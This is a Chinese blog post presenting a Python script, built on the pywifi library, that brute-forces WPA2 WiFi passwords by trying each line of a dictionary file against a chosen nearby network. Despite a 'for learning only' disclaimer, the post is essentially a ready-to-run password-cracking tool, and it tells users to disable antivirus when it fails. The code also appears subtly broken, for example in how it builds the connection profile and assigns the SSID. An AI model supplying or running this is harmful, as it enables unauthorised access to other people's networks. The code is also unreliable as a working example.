python爆破wifi密码
首先声明一点,做这个工具不是为了爆破别人家的密码,主要是学习交流
如果要运行代码,请先安装pip install pywifi
如果报错,可以向我反馈,最好带上截图,或者报错语句
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | import pywifi import profile import time from pywifi import const, Profile zd = input ( "请输入字典位置:" ) ozd = open (zd, 'r' ,encoding = "utf8" ).read().split( "\n" ) a = 0 wifi = pywifi.PyWiFi() pw = wifi.interfaces()[ 0 ] pw.scan() time.sleep( 2 ) ws = pw.scan_results() for sws in ws: print ( "扫描到以下wifi:" ) print (a) print (sws.ssid.encode( 'raw_unicode_escape' ).decode( 'utf-8' )) a = a + 1 wm = int ( input ( "请输入序号" )) xz = ws[wm] for pas in ozd: pw.disconnect() time.sleep( 3 ) if pw.status() = = const.IFACE_DISCONNECTED: pwfile = pywifi.Profile pwfile.ssid = xz pwfile.auth = const.AUTH_ALG_OPEN pwfile.akm.append(const.AKM_TYPE_WPA2PSK) pwfile.cipher = const.CIPHER_TYPE_CCMP pwfile.key = pas pw.remove_all_network_profiles() xwffile = pw.add_network_profile(pwfile) pw.connect(xwffile) if pw.status() = = const.IFACE_CONNECTED: print ( "爆破成功,密码是:" + pas) break else : print ( "爆破失败" ) else : print ( "断开连接失败,请关闭杀软再试" ) input ( "破解完成,请按任意键继续........." ) |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· AI 智能体引爆开源社区「GitHub 热点速览」
· 写一个简单的SQL生成工具